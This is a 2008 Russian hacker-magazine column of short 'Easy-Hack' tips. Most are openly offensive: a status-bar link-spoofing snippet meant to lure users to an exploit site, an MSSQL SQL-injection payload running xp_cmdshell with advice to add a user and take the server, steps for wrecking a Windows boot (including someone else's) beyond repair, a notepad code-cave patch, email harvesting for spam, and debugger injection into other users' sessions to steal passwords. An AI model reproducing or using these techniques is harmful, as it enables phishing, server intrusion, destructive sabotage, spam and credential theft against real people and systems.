Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #117, СЕНТЯБРЬ 2008 г.

Easy-Hack

Задача: Подменить адрес линка в строке состояния браузера IE6/IE7

Решение:

Я думаю, ты хорошо знаком с такой замечательной вещью, как IP-Spoofing. Вдаваться в технические подробности не имеет смысла (да поможет тебе Гугл). Порой необходимо использовать подобные махинации при создании фейковых сайтов или редиректов. Как ты знаешь, при наведении указателя мышки на линк в окне браузера, в строке состояния отображается адрес, на который указывает ссылка. Нашей первостепенной задачей станет подмена истинного адреса, который видит юзер, на наш – фейковый. Проводить все манипуляции мы будем на примере ослика 6 и 7 версии (более распространенных браузеров пока не существует). Приступим!

1. Допустим, линк сайта со сплойтом (куда обязательно должен попасть юзер:)) – www.hacker.com, а маскировать ссылку будем под мелкомягких – www.microsoft.com.

2. Открываем HTML/PHP-файл, который нам необходимо отредактировать (то есть, добавить в него фейковый линк).

3. Дописываем в открытый хтмл/пхп-файл следующий код:

<a href="http://www.hacker.com/"
onMouseOver="window.status= 'http://microsoft.com/'; return true;"
onMouseOut="window.status='';">http://microsoft.com/</a>

4. Вот и все. Открываем страничку в ослике и видим, что линк с названием «http://microsoft.com» отображается в строке состояния, как «http://microsoft.com», хотя на самом деле ведет на «http://www.hacker.com» :).

Задача: Быстро и качественно создать аватарку

Решение:

С давних временем рисовальщики на различных форумах предлагали свои услуги по созданию аватарок. Астрономическая цена некоторых шедевров порой просто удивляла. Что делать, когда желание иметь красивую аватарку есть, а денег нет? Нарисовать самому! А если и рисовать не умеешь – время обратиться к бесплатным сервисам. Ты не ослышался, таковые существуют. Об одном из них я расскажу более подробно:

  1. Заходим по линку nfdesign.org.ua/bar/maker.php.
  2. Выбираем фон аватарки.
  3. В соответствующем поле вбиваем ник, выбираем горизонтальное/вертикальное расположение.
  4. Редактируем положение надписи ника на фоне аватарки (для этого предусмотрена удобная панелька).
  5. Жмем <Enter> и сохраняем аватару себе на винт.

Задача: Заюзать выполнение команд на виндовом сервере с MSSQL через sql-инъекцию

Решение:

Одним из больших плюсов при проведении атак на MSSQL-серверы, помимо обязательного наличия заветной таблички information_schema.tables, является еще и возможность выполнения консольных команд через СУБД. Но это только при условии, что у пользователя, от имени которого мы имеем доступ к базе, достаточно прав. Ниже я приведу список процедур, которые, при наличии определенных прав, ты можешь смело заюзать:

  • xp_enumgroups (группы из ОС Windows)
  • xp_ntsec_enumdomains (список доменов сети)
  • xp_enumdsn (источники данных ODBC)
  • xp_loginconfig (инфо о пользователе)
  • xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
  • xp_msver (версия SQL-сервера)
  • xp_cmdshell <команда> (исполнение файла через cmd.exe)
  • xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процессы)
  • xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
  • xp_startmail, xp_sendmail (обращение к почтовому демону sendmail)
  • sp_makewebtask (выполнение команды html-вида)

С таким боевым набором руки у нас полностью развязаны. Особенный интерес представляет выполнение консольных команд – «xp_cmdshell». Чтобы грамотно использовать эту возможность, тебе необходимо:

1. Найти sql-инъекцию, убедиться в наличии полей вывода и т.д. (расписывать не буду – полистай подшивку ][ на тему «SQL-инъекция в MSSQL»)

2. Вставить в sql-запрос к СУБД следующий фрагмент:

;exec master..xp_cmdshell 'консольная команда'--

На практике это может выглядеть примерно так:

http://target.ru/index.asp=-1;exec master..xp_cmdshell 'dir C:\'--

3. Если команда выполнилась успешно – считай, что повезло и сервер у тебя в руках. В противном случае – причина ошибки, скорее всего, кроется в правах пользователя.

Кстати, если удача на твоей стороне и команды успешно выполняются, советую попробовать добавить нового пользователя и работать с удаленным сервером уже через telnet. Поверь, так намного удобнее.

Задача: Легко и красиво убить Windows

Решение:

Ни для кого не секрет, что второе название Windows – mustdie. Иногда возникает желание грохнуть собственную Винду, иногда – соседскую. Разберем три варианта реализации этого доброго дела.

1. Самым скучным приемом будет удалить скрытый системный файл «ntldr». Находится он на диске, с которого производится загрузка (как правило, это диск С:). После перезагрузки перед нами черный экран с надписью:

"NTLDR is missing
Press Ctrl+Alt+Del to restart"

Отсутствие системного файла сразу бросается в глаза – и юзверь может попытаться его восстановить.

2. Другое дело, если убрать скрытый системный «NTDETECT.COM», лежащий рядом. После рестарта пользователь будет наблюдать бесконечную череду перезагрузок (без вывода каких-либо сообщений). Отмечу: перезагрузок компа, а не Винды. До нее дело просто не доходит. Придется задуматься над тем, как исправить ситуацию. Для нас же очевидно: возвратить файл на свое законное место.

3. Изощренным коварством будет редактирование всем известного «boot.ini». Именно изменение, а не удаление (после удаления Винде все же удается загрузиться). Итак, открываем его блокнотом и находим строки с путями до Windows вида

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS

Это – иерархия оборудования (железа), по которой определяется жесткий диск и раздел, где стоит Винда. Наша цель – задать несуществующую, ошибочную конфигурацию. Дадим системе понять, что Винда поставлена не на первый, а на девятый раздел: меняем все «partition(1)» на "partition(9)". Сохраняем и перезагружаемся. Любой желающий может прочесть: «Не удается запустить Windows из-за аппаратных ошибок настройки диска. Не удается выполнить чтение с выбранного загрузочного диска. Проверьте указанный путь и исправность оборудования диска. <...>».

Можно и поиздеваться: напишем прогу, реализующую один из этих трех вариантов и поместим ее в автозагрузку. Как только юзверь «поднимет» Винду (если, конечно, «поднимет»), она отработает ровно до следующей перезагрузки и будет опять ожидать помощи, выводя тоскливые сообщения. А что, если не дать ей работать и прописать в проге моментальную перезагрузку и/или использовать сразу все три варианта, описанных выше? При грамотной реализации восстановлению такая Винда уже не подлежит.

Задача: Создать в памяти процесса новую область, которая впоследствии может быть использована для сохранения данных

Решение:

Для вставки данных (как вариант, кода) в простых случаях можно пользоваться пустыми областями, оставленными компилятором для выравнивания. К сожалению, удается это далеко не всегда, ведь пространства, «подаренного» нам форматом PE, может оказаться недостаточно. Остается только одно – зарезервировать память каким-либо другим образом. Кроме того, необходимо выставить соответствующие атрибуты страницы памяти, отвечающие за возможность чтения и записи в нее. Воспользовавшись MSDN, выясняем, что такой возможностью обладает API-функция библиотеки kernel32, которая называется VirtualAlloc. Взглянем на ее прототип:

function VirtualAlloc(
lpvAddress: Pointer; // начальный адрес региона для резервирования памяти
dwSize: DWORD; // размер региона резервируемой памяти
flAllocationType: DWORD;// способ выделения памяти
flProtect: DWORD // атрибуты доступа
): Pointer; stdcall;

Выделив память при помощи VirtualAlloc, мы можем разместить там необходимые данные. Попробуем зарезервировать для собственных нужд 2000h байт памяти на примере стандартного блокнота.

1. Открываем программу для отладки в OllyDbg и копируем первые две инструкции стартового кода, располагающегося на OEP, при помощи команды контекстного меню «Binary -> Binary copy».

2. На точке входа, по адресу 0100739D, вписываем инструкцию перехода по адресу, где мы расположим код, выделяющий область памяти:

0100739D jmp 01008748.

3. Первые две инструкции, которые мы заменили условным переходом, предварительно скопировав в буфер обмена, помещаем по адресу 01008748 («Binary -> Binary paste»).

4. Определим начальный адрес региона для резервирования памяти. Откроем карту памяти процесса, нажав <ALT+M>, и выберем любой адрес, который не принадлежит ни одной из существующих (уже зарезервированных) областей памяти. В нашем примере это будет 123000h – адрес не принадлежит ни секции, которая начинается по адресу 00090000h и имеет размер 5000h байт, ни последующей секции, начинающейся с адреса 00190000h. Размер резервируемой нами области будет равен 2000h байт, как и условились ранее.

5. Параметры, необходимые для успешного выполнения VirtualAlloc, будем помещать в стек, начиная с последнего, в соответствии с принципами работы стека.
Атрибут доступа «PAGE_READWRITE», который позволяет и читать данные из выделенной памяти, и записывать в нее, выглядит как число «00000100» в двоичной системе счисления – или «4» в шестнадцатеричной. Другие значения параметра flProtect (например, атрибут «PAGE_EXECUTE_READWRITE», позволяющий исполнять код, расположенный в зарезервированной области) можно получить путем взведения в единичное состояние соответствующих битов этой флаговой переменной (или выяснить их шестнадцатеричные соответствия в любом справочнике). По адресу 0100874F размещаем инструкцию push 4. Параметр «flAllocationType» в нашем случае будет равен 1000h. Это соответствует значению параметра, равному «MEM_COMMIT», – вот, самый надежный и простой способ выделения памяти. Мы можем не заботиться об обнулении выделенной памяти, все сделает функция VirtualAlloc. Размещаем по адресу 01008751 инструкцию push 1000.

Размер секции мы определили – 2000h байт. Следовательно, следующей инструкцией будет push 2000. И, наконец, параметр lpvAddress, определяющий начальный адрес для резервирования области памяти, равен 123000h. Вводим инструкцию push 123000.

6. После того, как размещены все четыре параметра, необходимые функции VirtualAlloc, вызываем ее инструкцией call VirtualAlloc.

7. Передаем управление основной программе, по адресу 010073A3:

jmp 010073A3

Приведем написанный нами код целиком:

0100739D jmp 01008748; переходим к коду, который должен резервировать область памяти;
...
01008748 PUSH 70 ; первая замененная переходом инструкция
0100874A PUSH 01001898 ; вторая замененная переходом инструкция
0100874F PUSH 4 ; атрибут защиты страницы памяти равен "PAGE_READWRITE"
01008751 PUSH 1000 ; способ выделения памяти – "MEM_COMMIT"
01008756 PUSH 2000 ; размер выделяемой секции равен 2000h
0100875B PUSH 123000 ; адрес, начиная с которого располагается секция, равен 123000h
01008760 CALL VirtualAlloc ; вызываем VirtualAlloc
01008765 JMP 010073A3 ; передаем управление обратно – коду блокнота

8. Сохраняем файл («Copy to executable -> All modifications»). Теперь, если протрассировать код вплоть до выполнения VirtualProtect и воспользоваться картой памяти, можно увидеть: появилась новая секция, начинающаяся по адресу 123000h. Что и требовалось получить!

Задача: Создать базу e-mail адресов

Решение:

Как правило, много мыльников используется для поздравления всех с Новым Годом, но некоторые злоумышленники юзают их для спам-рассылок рекламы и подобной чепухи. Возьмем одну из многочисленных прог по этой тематике и соберем собственную базу мейлов.

1. Ставим бесплатную русскоязычную утилу E-Mail Capture (rsoftware.net/mail/mail.zip).

2. Запускаем, переходим «Настройки -> Общие» в меню слева. Вводим страничку, с которой начнется поиск. Максимальное количество потоков ставим в зависимости от ширины канала – либо от типа соединения: чем быстрее интернет, тем больше потоков. Если интересуют адреса с определенного сайта, ставим галочку в пункте «Не ходить по внешним ссылкам» (но без этого пункта прога ищет куда больше e-mail'ов). Для экономных пользователей создана графа, лимитирующая размер открываемой при поиске страницы. Владельцам безлимитного подключения ограничение можно смело отключить.

3. В разделе разрешенных расширений можно найти самые распространенные форматы: HTML, SHTML, PHP, JS, ASP, CGI; а можно добавить и свои. Именно на этих страницах будет производиться поиск. Удобный инструмент располагается в самом низу панели – поиск адреса по маске. Допустим, введя «leha*@*», мы получим базу мейлов, содержащих leha в своих адресах.

4. В следующем меню («Подключение») владельца высокоскоростного интернета заинтересует лишь настройка прокси. Спускаемся в «Исключения» и подгоняем поиск под нужные нам рамки: обходим нежелательные сайты, выбрасываем не нужные mail-адреса.

5. Подготовка закончена. Коннектимся к инету и запускаем поиск, который даже не требует никакого участия пользователя. Прога может самостоятельно запускать сбор мыльников в заданное время и выключать комп по завершению процедуры. Естественно, количество получаемых мейлов напрямую зависит от потраченного на поиск времени и трафика.

Задача: Завершить любой несистемный процесс работающего сеанса пользователя, защищенного паролем

Решение:

Порой необходимо получить доступ к какому-либо процессу в памяти сеанса пользователя, который находится в фоновом режиме (приостановлен при помощи команды «Пуск -> Выход из системы -> Смена пользователя»). Но вот беда: диспетчер задач не отображает процессы, выполняемые с правами учетной записи другого пользователя. Можно воспользоваться отладчиком OllyDbg, который видит «чужие» процессы. Коме того, реально модифицировать код процесса в своих целях прямо из-под отладчика (позволит, например, добыть пароли, залогировать ввод и т.д.)
Попробуем завершить процесс, выполняемый в «чужом» сеансе.

1. Входим в систему под любой учетной записью.

2. Открываем отладчик OllyDbg. Теперь выбираем пункт меню «File -> Attach» и в списке процессов выбираем необходимый.

3. Нажимаем кнопку «Attach» для отладки процесса. Завершить его можно, нажав на кнопку «Terminate». В случае модификации процесса в памяти с помощью отладчика помни одну вещь. Следует удалить все точки останова после выполнения необходимых действий, оставить процесс в состоянии исполнения (нажав <Shift+F9>), свернуть окно отладчика и выйти из текущего сеанса пользователя по команде «Пуск -> Выход из системы -> Смена пользователя». Тогда единственное, что может выдать внедрение в память процесса, – низкая скорость работы ресурсоемкого приложения.

Содержание